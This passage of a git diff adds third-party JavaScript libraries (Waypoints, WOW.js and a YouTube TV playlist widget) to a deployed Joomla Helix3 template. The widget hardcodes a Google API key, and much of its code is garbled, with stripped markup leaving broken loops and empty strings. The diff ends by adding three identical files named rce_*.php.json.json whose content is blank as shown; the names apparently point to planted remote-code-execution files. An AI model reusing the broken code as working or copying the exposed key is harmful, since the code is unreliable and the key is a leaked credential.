e.invalid[c.name],e.showErrors()):(f={},h=d||e.defaultMessage(c,"remote"),f[c.name]=g.message=a.isFunction(h)?h(b):h,e.invalid[c.name]=!0,e.showErrors(f)),g.valid=j,e.stopRequest(c,j)}},d)),"pending")}}});var b,c={};a.ajaxPrefilter?a.ajaxPrefilter(function(a,b,d){var e=a.port;"abort"===a.mode&&(c[e]&&c[e].abort(),c[e]=d)}):(b=a.ajax,a.ajax=function(d){var e=("mode"in d?d:a.ajaxSettings).mode,f=("port"in d?d:a.ajaxSettings).port;return"abort"===e?(c[f]&&c[f].abort(),c[f]=b.apply(this,arguments),c[f]):b.apply(this,arguments)})});
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/js/plugin/waypoints.min.js b/deployed/helix3/templates/shaper_helix3/js/plugin/waypoints.min.js
new file mode 100644
index 00000000..2470db40
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/js/plugin/waypoints.min.js
@@ -0,0 +1,8 @@
+// Generated by CoffeeScript 1.6.2
+/*
+jQuery Waypoints - v2.0.3
+Copyright (c) 2011-2013 Caleb Troughton
+Dual licensed under the MIT license and GPL license.
+https://github.com/imakewebthings/jquery-waypoints/blob/master/licenses.txt
+*/
+(function(){var t=[].indexOf||function(t){for(var e=0,n=this.length;e=0;s={horizontal:{},vertical:{}};f=1;a={};u="waypoints-context-id";p="resize.waypoints";y="scroll.waypoints";v=1;w="waypoints-waypoint-ids";g="waypoint";m="waypoints";o=function(){function t(t){var e=this;this.$element=t;this.element=t[0];this.didResize=false;this.didScroll=false;this.id="context"+f++;this.oldScroll={x:t.scrollLeft(),y:t.scrollTop()};this.waypoints={horizontal:{},vertical:{}};t.data(u,this.id);a[this.id]=this;t.bind(y,function(){var t;if(!(e.didScroll||c)){e.didScroll=true;t=function(){e.doScroll();return e.didScroll=false};return r.setTimeout(t,n[m].settings.scrollThrottle)}});t.bind(p,function(){var t;if(!e.didResize){e.didResize=true;t=function(){n[m]("refresh");return e.didResize=false};return r.setTimeout(t,n[m].settings.resizeThrottle)}})}t.prototype.doScroll=function(){var t,e=this;t={horizontal:{newScroll:this.$element.scrollLeft(),oldScroll:this.oldScroll.x,forward:"right",backward:"left"},vertical:{newScroll:this.$element.scrollTop(),oldScroll:this.oldScroll.y,forward:"down",backward:"up"}};if(c&&(!t.vertical.oldScroll||!t.vertical.newScroll)){n[m]("refresh")}n.each(t,function(t,r){var i,o,l;l=[];o=r.newScroll>r.oldScroll;i=o?r.forward:r.backward;n.each(e.waypoints[t],function(t,e){var n,i;if(r.oldScroll<(n=e.offset)&&n<=r.newScroll){return l.push(e)}else if(r.newScroll<(i=e.offset)&&i<=r.oldScroll){return l.push(e)}});l.sort(function(t,e){return t.offset-e.offset});if(!o){l.reverse()}return n.each(l,function(t,e){if(e.options.continuous||t===l.length-1){return e.trigger([i])}})});return this.oldScroll={x:t.horizontal.newScroll,y:t.vertical.newScroll}};t.prototype.refresh=function(){var t,e,r,i=this;r=n.isWindow(this.element);e=this.$element.offset();this.doScroll();t={horizontal:{contextOffset:r?0:e.left,contextScroll:r?0:this.oldScroll.x,contextDimension:this.$element.width(),oldScroll:this.oldScroll.x,forward:"right",backward:"left",offsetProp:"left"},vertical:{contextOffset:r?0:e.top,contextScroll:r?0:this.oldScroll.y,contextDimension:r?n[m]("viewportHeight"):this.$element.height(),oldScroll:this.oldScroll.y,forward:"down",backward:"up",offsetProp:"top"}};return n.each(t,function(t,e){return n.each(i.waypoints[t],function(t,r){var i,o,l,s,f;i=r.options.offset;l=r.offset;o=n.isWindow(r.element)?0:r.$element.offset()[e.offsetProp];if(n.isFunction(i)){i=i.apply(r.element)}else if(typeof i==="string"){i=parseFloat(i);if(r.options.offset.indexOf("%")>-1){i=Math.ceil(e.contextDimension*i/100)}}r.offset=o-e.contextOffset+e.contextScroll-i;if(r.options.onlyOnScroll&&l!=null||!r.enabled){return}if(l!==null&&l<(s=e.oldScroll)&&s<=r.offset){return r.trigger([e.backward])}else if(l!==null&&l>(f=e.oldScroll)&&f>=r.offset){return r.trigger([e.forward])}else if(l===null&&e.oldScroll>=r.offset){return r.trigger([e.forward])}})})};t.prototype.checkEmpty=function(){if(n.isEmptyObject(this.waypoints.horizontal)&&n.isEmptyObject(this.waypoints.vertical)){this.$element.unbind([p,y].join(" "));return delete a[this.id]}};return t}();l=function(){function t(t,e,r){var i,o;r=n.extend({},n.fn[g].defaults,r);if(r.offset==="bottom-in-view"){r.offset=function(){var t;t=n[m]("viewportHeight");if(!n.isWindow(e.element)){t=e.$element.height()}return t-n(this).outerHeight()}}this.$element=t;this.element=t[0];this.axis=r.horizontal?"horizontal":"vertical";this.callback=r.handler;this.context=e;this.enabled=r.enabled;this.id="waypoints"+v++;this.offset=null;this.options=r;e.waypoints[this.axis][this.id]=this;s[this.axis][this.id]=this;i=(o=t.data(w))!=null?o:[];i.push(this.id);t.data(w,i)}t.prototype.trigger=function(t){if(!this.enabled){return}if(this.callback!=null){this.callback.apply(this.element,t)}if(this.options.triggerOnce){return this.destroy()}};t.prototype.disable=function(){return this.enabled=false};t.prototype.enable=function(){this.context.refresh();return this.enabled=true};t.prototype.destroy=function(){delete s[this.axis][this.id];delete this.context.waypoints[this.axis][this.id];return this.context.checkEmpty()};t.getWaypointsByElement=function(t){var e,r;r=n(t).data(w);if(!r){return[]}e=n.extend({},s.horizontal,s.vertical);return n.map(r,function(t){return e[t]})};return t}();d={init:function(t,e){var r;if(e==null){e={}}if((r=e.handler)==null){e.handler=t}this.each(function(){var t,r,i,s;t=n(this);i=(s=e.context)!=null?s:n.fn[g].defaults.context;if(!n.isWindow(i)){i=t.closest(i)}i=n(i);r=a[i.data(u)];if(!r){r=new o(i)}return new l(t,r,e)});n[m]("refresh");return this},disable:function(){return d._invoke(this,"disable")},enable:function(){return d._invoke(this,"enable")},destroy:function(){return d._invoke(this,"destroy")},prev:function(t,e){return d._traverse.call(this,t,e,function(t,e,n){if(e>0){return t.push(n[e-1])}})},next:function(t,e){return d._traverse.call(this,t,e,function(t,e,n){if(et.oldScroll.y})},left:function(t){if(t==null){t=r}return h._filter(t,"horizontal",function(t,e){return e.offset<=t.oldScroll.x})},right:function(t){if(t==null){t=r}return h._filter(t,"horizontal",function(t,e){return e.offset>t.oldScroll.x})},enable:function(){return h._invoke("enable")},disable:function(){return h._invoke("disable")},destroy:function(){return h._invoke("destroy")},extendFn:function(t,e){return d[t]=e},_invoke:function(t){var e;e=n.extend({},s.vertical,s.horizontal);return n.each(e,function(e,n){n[t]();return true})},_filter:function(t,e,r){var i,o;i=a[n(t).data(u)];if(!i){return[]}o=[];n.each(i.waypoints[e],function(t,e){if(r(i,e)){return o.push(e)}});o.sort(function(t,e){return t.offset-e.offset});return n.map(o,function(t){return t.element})}};n[m]=function(){var t,n;n=arguments[0],t=2<=arguments.length?e.call(arguments,1):[];if(h[n]){return h[n].apply(null,t)}else{return h.aggregate.call(null,n)}};n[m].settings={resizeThrottle:100,scrollThrottle:30};return i.load(function(){return n[m]("refresh")})})}).call(this);
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/js/plugin/wow.min.js b/deployed/helix3/templates/shaper_helix3/js/plugin/wow.min.js
new file mode 100644
index 00000000..a6922516
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/js/plugin/wow.min.js
@@ -0,0 +1,2 @@
+/*! WOW - v1.1.2 - 2015-04-07
+* Copyright (c) 2015 Matthieu Aussaguel; Licensed MIT */(function(){var a,b,c,d,e,f=function(a,b){return function(){return a.apply(b,arguments)}},g=[].indexOf||function(a){for(var b=0,c=this.length;c>b;b++)if(b in this&&this[b]===a)return b;return-1};b=function(){function a(){}return a.prototype.extend=function(a,b){var c,d;for(c in b)d=b[c],null==a[c]&&(a[c]=d);return a},a.prototype.isMobile=function(a){return/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(a)},a.prototype.createEvent=function(a,b,c,d){var e;return null==b&&(b=!1),null==c&&(c=!1),null==d&&(d=null),null!=document.createEvent?(e=document.createEvent("CustomEvent"),e.initCustomEvent(a,b,c,d)):null!=document.createEventObject?(e=document.createEventObject(),e.eventType=a):e.eventName=a,e},a.prototype.emitEvent=function(a,b){return null!=a.dispatchEvent?a.dispatchEvent(b):b in(null!=a)?a[b]():"on"+b in(null!=a)?a["on"+b]():void 0},a.prototype.addEvent=function(a,b,c){return null!=a.addEventListener?a.addEventListener(b,c,!1):null!=a.attachEvent?a.attachEvent("on"+b,c):a[b]=c},a.prototype.removeEvent=function(a,b,c){return null!=a.removeEventListener?a.removeEventListener(b,c,!1):null!=a.detachEvent?a.detachEvent("on"+b,c):delete a[b]},a.prototype.innerHeight=function(){return"innerHeight"in window?window.innerHeight:document.documentElement.clientHeight},a}(),c=this.WeakMap||this.MozWeakMap||(c=function(){function a(){this.keys=[],this.values=[]}return a.prototype.get=function(a){var b,c,d,e,f;for(f=this.keys,b=d=0,e=f.length;e>d;b=++d)if(c=f[b],c===a)return this.values[b]},a.prototype.set=function(a,b){var c,d,e,f,g;for(g=this.keys,c=e=0,f=g.length;f>e;c=++e)if(d=g[c],d===a)return void(this.values[c]=b);return this.keys.push(a),this.values.push(b)},a}()),a=this.MutationObserver||this.WebkitMutationObserver||this.MozMutationObserver||(a=function(){function a(){"undefined"!=typeof console&&null!==console&&console.warn("MutationObserver is not supported by your browser."),"undefined"!=typeof console&&null!==console&&console.warn("WOW.js cannot detect dom mutations, please call .sync() after loading new content.")}return a.notSupported=!0,a.prototype.observe=function(){},a}()),d=this.getComputedStyle||function(a){return this.getPropertyValue=function(b){var c;return"float"===b&&(b="styleFloat"),e.test(b)&&b.replace(e,function(a,b){return b.toUpperCase()}),(null!=(c=a.currentStyle)?c[b]:void 0)||null},this},e=/(\-([a-z]){1})/g,this.WOW=function(){function e(a){null==a&&(a={}),this.scrollCallback=f(this.scrollCallback,this),this.scrollHandler=f(this.scrollHandler,this),this.resetAnimation=f(this.resetAnimation,this),this.start=f(this.start,this),this.scrolled=!0,this.config=this.util().extend(a,this.defaults),this.animationNameCache=new c,this.wowEvent=this.util().createEvent(this.config.boxClass)}return e.prototype.defaults={boxClass:"wow",animateClass:"animated",offset:0,mobile:!0,live:!0,callback:null},e.prototype.init=function(){var a;return this.element=window.document.documentElement,"interactive"===(a=document.readyState)||"complete"===a?this.start():this.util().addEvent(document,"DOMContentLoaded",this.start),this.finished=[]},e.prototype.start=function(){var b,c,d,e;if(this.stopped=!1,this.boxes=function(){var a,c,d,e;for(d=this.element.querySelectorAll("."+this.config.boxClass),e=[],a=0,c=d.length;c>a;a++)b=d[a],e.push(b);return e}.call(this),this.all=function(){var a,c,d,e;for(d=this.boxes,e=[],a=0,c=d.length;c>a;a++)b=d[a],e.push(b);return e}.call(this),this.boxes.length)if(this.disabled())this.resetStyle();else for(e=this.boxes,c=0,d=e.length;d>c;c++)b=e[c],this.applyStyle(b,!0);return this.disabled()||(this.util().addEvent(window,"scroll",this.scrollHandler),this.util().addEvent(window,"resize",this.scrollHandler),this.interval=setInterval(this.scrollCallback,50)),this.config.live?new a(function(a){return function(b){var c,d,e,f,g;for(g=[],c=0,d=b.length;d>c;c++)f=b[c],g.push(function(){var a,b,c,d;for(c=f.addedNodes||[],d=[],a=0,b=c.length;b>a;a++)e=c[a],d.push(this.doSync(e));return d}.call(a));return g}}(this)).observe(document.body,{childList:!0,subtree:!0}):void 0},e.prototype.stop=function(){return this.stopped=!0,this.util().removeEvent(window,"scroll",this.scrollHandler),this.util().removeEvent(window,"resize",this.scrollHandler),null!=this.interval?clearInterval(this.interval):void 0},e.prototype.sync=function(){return a.notSupported?this.doSync(this.element):void 0},e.prototype.doSync=function(a){var b,c,d,e,f;if(null==a&&(a=this.element),1===a.nodeType){for(a=a.parentNode||a,e=a.querySelectorAll("."+this.config.boxClass),f=[],c=0,d=e.length;d>c;c++)b=e[c],g.call(this.all,b)<0?(this.boxes.push(b),this.all.push(b),this.stopped||this.disabled()?this.resetStyle():this.applyStyle(b,!0),f.push(this.scrolled=!0)):f.push(void 0);return f}},e.prototype.show=function(a){return this.applyStyle(a),a.className=a.className+" "+this.config.animateClass,null!=this.config.callback&&this.config.callback(a),this.util().emitEvent(a,this.wowEvent),this.util().addEvent(a,"animationend",this.resetAnimation),this.util().addEvent(a,"oanimationend",this.resetAnimation),this.util().addEvent(a,"webkitAnimationEnd",this.resetAnimation),this.util().addEvent(a,"MSAnimationEnd",this.resetAnimation),a},e.prototype.applyStyle=function(a,b){var c,d,e;return d=a.getAttribute("data-wow-duration"),c=a.getAttribute("data-wow-delay"),e=a.getAttribute("data-wow-iteration"),this.animate(function(f){return function(){return f.customStyle(a,b,d,c,e)}}(this))},e.prototype.animate=function(){return"requestAnimationFrame"in window?function(a){return window.requestAnimationFrame(a)}:function(a){return a()}}(),e.prototype.resetStyle=function(){var a,b,c,d,e;for(d=this.boxes,e=[],b=0,c=d.length;c>b;b++)a=d[b],e.push(a.style.visibility="visible");return e},e.prototype.resetAnimation=function(a){var b;return a.type.toLowerCase().indexOf("animationend")>=0?(b=a.target||a.srcElement,b.className=b.className.replace(this.config.animateClass,"").trim()):void 0},e.prototype.customStyle=function(a,b,c,d,e){return b&&this.cacheAnimationName(a),a.style.visibility=b?"hidden":"visible",c&&this.vendorSet(a.style,{animationDuration:c}),d&&this.vendorSet(a.style,{animationDelay:d}),e&&this.vendorSet(a.style,{animationIterationCount:e}),this.vendorSet(a.style,{animationName:b?"none":this.cachedAnimationName(a)}),a},e.prototype.vendors=["moz","webkit"],e.prototype.vendorSet=function(a,b){var c,d,e,f;d=[];for(c in b)e=b[c],a[""+c]=e,d.push(function(){var b,d,g,h;for(g=this.vendors,h=[],b=0,d=g.length;d>b;b++)f=g[b],h.push(a[""+f+c.charAt(0).toUpperCase()+c.substr(1)]=e);return h}.call(this));return d},e.prototype.vendorCSS=function(a,b){var c,e,f,g,h,i;for(h=d(a),g=h.getPropertyCSSValue(b),f=this.vendors,c=0,e=f.length;e>c;c++)i=f[c],g=g||h.getPropertyCSSValue("-"+i+"-"+b);return g},e.prototype.animationName=function(a){var b;try{b=this.vendorCSS(a,"animation-name").cssText}catch(c){b=d(a).getPropertyValue("animation-name")}return"none"===b?"":b},e.prototype.cacheAnimationName=function(a){return this.animationNameCache.set(a,this.animationName(a))},e.prototype.cachedAnimationName=function(a){return this.animationNameCache.get(a)},e.prototype.scrollHandler=function(){return this.scrolled=!0},e.prototype.scrollCallback=function(){var a;return!this.scrolled||(this.scrolled=!1,this.boxes=function(){var b,c,d,e;for(d=this.boxes,e=[],b=0,c=d.length;c>b;b++)a=d[b],a&&(this.isVisible(a)?this.show(a):e.push(a));return e}.call(this),this.boxes.length||this.config.live)?void 0:this.stop()},e.prototype.offsetTop=function(a){for(var b;void 0===a.offsetTop;)a=a.parentNode;for(b=a.offsetTop;a=a.offsetParent;)b+=a.offsetTop;return b},e.prototype.isVisible=function(a){var b,c,d,e,f;return c=a.getAttribute("data-wow-offset")||this.config.offset,f=window.pageYOffset,e=f+Math.min(this.element.clientHeight,this.util().innerHeight())-c,d=this.offsetTop(a),b=d+a.clientHeight,e>=d&&b>=f},e.prototype.util=function(){return null!=this._util?this._util:this._util=new b},e.prototype.disabled=function(){return!this.config.mobile&&this.util().isMobile(navigator.userAgent)},e}()}).call(this);
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/js/ytv.js b/deployed/helix3/templates/shaper_helix3/js/ytv.js
new file mode 100644
index 00000000..14648ca2
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/js/ytv.js
@@ -0,0 +1,562 @@
+/*
+ * YouTube TV
+ *
+ * Copyright 2013, Jacob Kelley - http://jakiestfu.com/
+ * Released under the MIT Licence
+ * http://opensource.org/licenses/MIT
+ *
+ * Github:
+ * Version: 3.0.5
+ */
+/*jslint browser: true, undef:true, unused:true, laxbreak:true, loopfunc:true*/
+/*global define, module, ender */
+
+(function(win, doc) {
+ 'use strict';
+ var apiKey = 'AIzaSyCcpJCdFCCBCC-2Pu-um9sl2yANgz6Hcv8';
+ var YTV = YTV || function(id, opts){
+
+ var noop = function(){},
+ settings = {
+ apiKey: apiKey,
+ element: null,
+ user: null,
+ channelId: null,
+ fullscreen: false,
+ accent: '#fff',
+ controls: true,
+ annotations: false,
+ autoplay: false,
+ chainVideos: true,
+ browsePlaylists: false,
+ playerTheme: 'dark',
+ listTheme: 'dark',
+ responsive: false,
+ playId:'',
+ sortList: false,
+ reverseList: false,
+ shuffleList: false,
+ wmode: 'opaque',
+ events: {
+ videoReady: noop,
+ stateChange: noop
+ }
+ },
+
+ cache = {
+ data: {},
+ remove: function (url) {
+ delete cache.data[url];
+ },
+ exist: function (url) {
+ return cache.data.hasOwnProperty(url) && cache.data[url] !== null;
+ },
+ get: function (url) {
+ return cache.data[url];
+ },
+ set: function (url, data) {
+ cache.remove(url);
+ cache.data[url] = data;
+ }
+ },
+ utils = {
+ events: {
+ addEvent: function addEvent(element, eventName, func) {
+ if (element.addEventListener) {
+ return element.addEventListener(eventName, func, false);
+ } else if (element.attachEvent) {
+ return element.attachEvent("on" + eventName, func);
+ }
+ },
+ removeEvent: function addEvent(element, eventName, func) {
+ if (element.addEventListener) {
+ return element.removeEventListener(eventName, func, false);
+ } else if (element.attachEvent) {
+ return element.detachEvent("on" + eventName, func);
+ }
+ },
+ prevent: function(e) {
+ if (e.preventDefault) {
+ e.preventDefault();
+ } else {
+ e.returnValue = false;
+ }
+ }
+ },
+ addCSS: function(css){
+ var head = doc.getElementsByTagName('head')[0],
+ style = doc.createElement('style');
+ style.type = 'text/css';
+ if (style.styleSheet){
+ style.styleSheet.cssText = css;
+ } else {
+ style.appendChild(doc.createTextNode(css));
+ }
+ head.appendChild(style);
+ },
+ addCommas: function(str){
+ var x = str.split('.'),
+ x1 = x[0],
+ x2 = x.length > 1 ? '.' + x[1] : '',
+ rgx = /(\d+)(\d{3})/;
+ while (rgx.test(x1)) {
+ x1 = x1.replace(rgx, '$1' + ',' + '$2');
+ }
+ return x1 + x2;
+ },
+ parentUntil: function(el, attr) {
+ while (el.parentNode) {
+ if (el.getAttribute && el.getAttribute(attr)){
+ return el;
+ }
+ el = el.parentNode;
+ }
+ return null;
+ },
+ ajax: {
+ get: function(url, fn){
+ if (cache.exist(url)) {
+ fn.call(this, JSON.parse(cache.get(url)));
+ } else {
+ var handle;
+ if (win.XDomainRequest && !(navigator.appVersion.indexOf("MSIE 8")==-1 || navigator.appVersion.indexOf("MSIE 9")==-1)) { // CORS for IE8,9
+ handle = new XDomainRequest();
+ handle.onload = function(){
+ cache.set(url, handle.responseText);
+ fn.call(this, JSON.parse(handle.responseText));
+ if (Object.prototype.hasOwnProperty.call(JSON.parse(handle.responseText), 'error')){
+ cache.remove(url);
+ var e = JSON.parse(handle.responseText);
+ console.log('Youtube-TV Error: Youtube API Response: '+e.error.errors[0].reason+'\n'+ 'Details: '+e.error.errors[0].message);
+ }
+ };
+ } else if (win.XMLHttpRequest){ // Modern Browsers
+ handle = new XMLHttpRequest();
+ }
+ handle.onreadystatechange = function(){
+ if (handle.readyState === 4 && handle.status === 200){
+ cache.set(url, handle.responseText);
+ fn.call(this, JSON.parse(handle.responseText));
+ } else if (handle.readyState === 4){
+ var e = JSON.parse(handle.responseText);
+ console.log('Youtube-TV Error: Youtube API Response: '+e.error.errors[0].reason+'\n'+ 'Details: '+e.error.errors[0].message);
+ }
+ };
+ handle.open("GET",url,true);
+ handle.send();
+ }
+ }
+ },
+ endpoints: {
+ base: 'https://www.googleapis.com/youtube/v3/',
+ userInfo: function(){
+ return utils.endpoints.base+'channels?'+settings.cid+'&key='+apiKey+'&part=snippet,contentDetails,statistics';
+ },
+ playlistInfo: function(pid){
+ return utils.endpoints.base+'playlists?id='+pid+'&key='+apiKey+'&maxResults=50&part=snippet';
+ },
+ userPlaylists: function(){
+ return utils.endpoints.base+'playlists?channelId='+settings.channelId+'&key='+apiKey+'&maxResults=50&part=snippet';
+ },
+ playlistVids: function(){
+ return utils.endpoints.base+'playlistItems?playlistId='+settings.pid+'&key='+apiKey+'&maxResults=50&part=contentDetails';
+ },
+ videoInfo: function(){
+ return utils.endpoints.base+'videos?id='+settings.videoString+'&key='+apiKey+'&maxResults=50&part=snippet,contentDetails,status,statistics';
+ }
+ },
+ deepExtend: function(destination, source) {
+ var property;
+ for (property in source) {
+ if (source[property] && source[property].constructor && source[property].constructor === Object) {
+ destination[property] = destination[property] || {};
+ utils.deepExtend(destination[property], source[property]);
+ } else {
+ destination[property] = source[property];
+ }
+ }
+ return destination;
+ }
+ },
+ prepare = {
+ youtube: function(){
+ if(typeof YT=='undefined'){
+ var tag = doc.createElement('script');
+ tag.src = "https://www.youtube.com/iframe_api";
+ var firstScriptTag = doc.getElementsByTagName('script')[0];
+ firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);
+ }
+ },
+ build: function(){
+ if (settings.channelId){
+ settings.cid = 'id='+settings.channelId;
+ } else if(settings.user){
+ settings.cid = 'forUsername='+settings.user;
+ }
+ settings.element.className = "ytv-canvas";
+ if(settings.fullscreen){
+ settings.element.className += " ytv-full";
+ }
+ utils.addCSS( '#'+id+' .ytv-list .ytv-active a{border-left-color: '+(settings.accent)+';}' );
+ // Responsive CSS
+ if(settings.responsive){
+ utils.addCSS('#'+id+' .ytv-video{'
+ +'position: relative; padding-bottom: 39.4%; /* 16:9 of 70%*/'
+ +'height: 0; width: 70%;'
+ +'} #'+id+' .ytv-video iframe{'
+ +'position: absolute; top: 0; left: 0;'
+ +'} #'+id+' .ytv-list{'
+ +'width: 30%;'
+ +'} #'+id+' .ytv-playlist-open .ytv-arrow{'
+ +'top: 0px;}'
+ +'@media only screen and (max-width:992px) {'
+ +'#'+id+' .ytv-list{'
+ +'position: relative; display: block;'
+ +'width: 0; padding-bottom: 40%;'
+ +'left: auto; right: auto;'
+ +'top: auto; width: 100%;'
+ +'} #'+id+' .ytv-video{'
+ +'position: relative; padding-bottom: 56.25%; /* 16:9 */'
+ +'height: 0; position: relative;'
+ +'display: block; left: auto;'
+ +'right: auto; top: auto; width: 100%;'
+ +'}}'
+ );
+ }
+ // Temp Scroll Bar fix
+ if (settings.listTheme == 'dark'){
+ utils.addCSS( ' #'+id+'.ytv-canvas ::-webkit-scrollbar{border-left: 1px solid #000;}'
+ + ' #'+id+'.ytv-canvas ::-webkit-scrollbar-thumb{background: rgba(255,255,255,0.2);}');
+ }
+ // Optional Light List Theme
+ if(settings.listTheme == 'light'){
+ utils.addCSS( ' #'+id+'.ytv-canvas{background: #ccc;}'
+ + ' #'+id+'.ytv-canvas ::-webkit-scrollbar{border-left: 1px solid rgba(28,28,28,0.1);}'
+ + ' #'+id+'.ytv-canvas ::-webkit-scrollbar-thumb{background: rgba(28,28,28,0.3);}'
+ + ' #'+id+' .ytv-list .ytv-active a{background: rgba(0,0,0,0.2);}'
+ + ' #'+id+' .ytv-list a{color: #282828; border-top: 1px solid rgba(0,0,0,0.1); border-bottom: 1px solid rgba(204,204,204,0.5);}'
+ + ' #'+id+' .ytv-list a:hover, #'+id+' .ytv-list-header .ytv-playlists a:hover{ background: rgba(0,0,0,0.2);}'
+ + ' #'+id+' .ytv-list a:active, #'+id+' .ytv-list-header .ytv-playlists a:active{ background: rgba(0,0,0,0.2);}'
+ + ' #'+id+' .ytv-list .ytv-thumb-stroke{outline: 1px solid rgba(0,0,0,0.1);}'
+ + ' #'+id+' .ytv-list .ytv-thumb{outline: 1px solid rgba(255,255,255,0.5);}'
+ + ' #'+id+' .ytv-list-header{-webkit-box-shadow: 0 1px 2px rgba(255, 255, 255, 0.2); -moz-box-shadow: 0 1px 2px rgba(255, 255, 255, 0.2); box-shadow: 0 1px 2px rgba(255, 255, 255, 0.2);}'
+ + ' #'+id+' .ytv-list-header a{background: rgba(0,0,0,0.2);}'
+ + ' #'+id+' .ytv-playlists{background: #ccc;}'
+ );
+ }
+ },
+ userUploads: function(userInfo){
+ if (userInfo && userInfo.items.length > 0){
+ settings.pid = userInfo.items[0].contentDetails.relatedPlaylists.uploads;
+ utils.ajax.get( utils.endpoints.playlistVids(), prepare.compileVideos );
+ } else console.log ('Youtube-TV Error: API returned no matches for: '+(settings.channelId ? settings.channelId : settings.user)+'\nPlease ensure it was entered correctly and in the appropriate field shown below. \nuser: \'username\' or channelId: \'UCxxxx...\'');
+ },
+ selectedPlaylist: function(playlistInfo){
+ if (playlistInfo && playlistInfo.items.length > 0) {
+ if (!settings.channelId && !settings.user){
+ settings.cid = ('id='+(settings.channelId = playlistInfo.items[0].snippet.channelId));
+ }
+ settings.currentPlaylist = playlistInfo.items[0].snippet.title;
+ settings.pid = playlistInfo.items[0].id;
+ utils.ajax.get( utils.endpoints.playlistVids(), prepare.compileVideos );
+ } else console.log ('Youtube-TV Error: API returned no matches for playlist(s): '+settings.playlist);
+ },
+ compileVideos: function(res){
+ if (res && res.items.length > 0){
+ var playlists = res.items,
+ i;
+ settings.videoString = '';
+ for(i=0; i 0){
+ var list = '',
+ playlists = res.items,
+ i;
+ for(i=0; i';
+ list += '';
+ list += ''+(data.title)+' ';
+ list += '';
+ }
+ list += ' ';
+
+ var lh = settings.element.getElementsByClassName('ytv-list-header')[0],
+ headerLink = lh.children[0];
+ headerLink.href="#";
+ headerLink.target="";
+ headerLink.setAttribute('data-ytv-playlist-toggle', 'true');
+ settings.element.getElementsByClassName('ytv-list-header')[0].innerHTML += list;
+ lh.className += ' ytv-has-playlists';
+ } else console.log ('Youtube-TV Error: Returned no playlists');
+ },
+ compileList: function(data){
+ if(data && data.items.length > 0){
+ utils.ajax.get( utils.endpoints.userInfo(), function(userInfo){
+ var list = '',
+ user = {
+ title: userInfo.items[0].snippet.title,
+ url: '//youtube.com/channel/'+userInfo.items[0].id,
+ thumb: userInfo.items[0].snippet.thumbnails['default'].url,
+ summary: userInfo.items[0].snippet.description,
+ subscribers: userInfo.items[0].statistics.subscriberCount,
+ views: userInfo.items[0].statistics.viewCount
+ },
+ videos = data.items,
+ first = true,
+ i;
+ settings.channelId = userInfo.items[0].id;
+ if(settings.currentPlaylist) user.title += ' · '+(settings.currentPlaylist);
+ if (settings.sortList) videos.sort(function(a,b){if(a.snippet.publishedAt > b.snippet.publishedAt) return -1;if(a.snippet.publishedAt < b.snippet.publishedAt) return 1;return 0;});
+ if (settings.reverseList) videos.reverse();
+ if (settings.shuffleList) {
+ videos = function (){for(var j, x, i = videos.length; i; j = Math.floor(Math.random() * i), x = videos[--i], videos[i] = videos[j], videos[j] = x);return videos;}();
+ }
+
+ list += '';
+
+ list += '';
+ settings.element.innerHTML = '';
+ if(settings.element.getElementsByClassName('ytv-active').length===0){
+ settings.element.getElementsByTagName('li')[0].className = "ytv-active";
+ }
+ var active = settings.element.getElementsByClassName('ytv-active')[0];
+ active.parentNode.parentNode.scrollTop = active.offsetTop;
+ action.logic.loadVideo(first, settings.autoplay);
+
+ if (settings.playlist){
+ utils.ajax.get( utils.endpoints.playlistInfo(settings.playlist), prepare.playlists );
+ } else if(settings.browsePlaylists){
+ utils.ajax.get( utils.endpoints.userPlaylists(), prepare.playlists );
+ }
+
+ });
+ } else console.log ('Youtube-TV Error: Empty video list');
+ }
+ },
+ action = {
+
+ logic: {
+
+ playerStateChange: function(d){
+ console.log(d);
+ },
+
+ loadVideo: function(slug, autoplay){
+ var house = settings.element.getElementsByClassName('ytv-video')[0];
+ var counter = settings.element.getElementsByClassName('ytv-video-playerContainer').length;
+ house.innerHTML = '
';
+
+ cache.player = new YT.Player('ytv-video-player'+id+counter, {
+ videoId: slug,
+ events: {
+ onReady: settings.events.videoReady,
+ onStateChange: function(e){
+ if( (e.target.getPlayerState()===0) && settings.chainVideos ){
+ var ns = settings.element.getElementsByClassName('ytv-active')[0].nextSibling,
+ link = ns.children[0];
+ link.click();
+ }
+ settings.events.stateChange.call(this, e);
+ }
+ },
+ playerVars: {
+ enablejsapi: 1,
+ origin: doc.domain,
+ controls: settings.controls ? 1 : 0,
+ rel: 0,
+ showinfo: 0,
+ iv_load_policy: settings.annotations ? '' : 3,
+ autoplay: autoplay ? 1 : 0,
+ theme: settings.playerTheme,
+ wmode: settings.wmode
+ }
+ });
+ }
+ },
+
+ endpoints: {
+ videoClick: function(e){
+ var target = utils.parentUntil(e.target ? e.target : e.srcElement, 'data-ytv');
+ if(target){
+ if(target.getAttribute('data-ytv')){
+ // Load Video
+ utils.events.prevent(e);
+ var activeEls = settings.element.getElementsByClassName('ytv-active'),
+ i;
+ for(i=0; i
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/layout/rce_68a921.php.json.json b/deployed/helix3/templates/shaper_helix3/layout/rce_68a921.php.json.json
new file mode 100644
index 00000000..4898f61b
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/layout/rce_68a921.php.json.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/layout/rce_ddeda3.php.json.json b/deployed/helix3/templates/shaper_helix3/layout/rce_ddeda3.php.json.json
new file mode 100644
index 00000000..4898f61b
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/layout/rce_ddeda3.php.json.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/layout/rce_f2c518.php.json.json b/deployed/helix3/templates/shaper_helix3/layout/rce_f2c518.php.json.json
new file mode 100644
index 00000000..4898f61b
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/layout/rce_f2c518.php.json.json
@@ -0,0 +1 @@
+
\ No newline at end of file
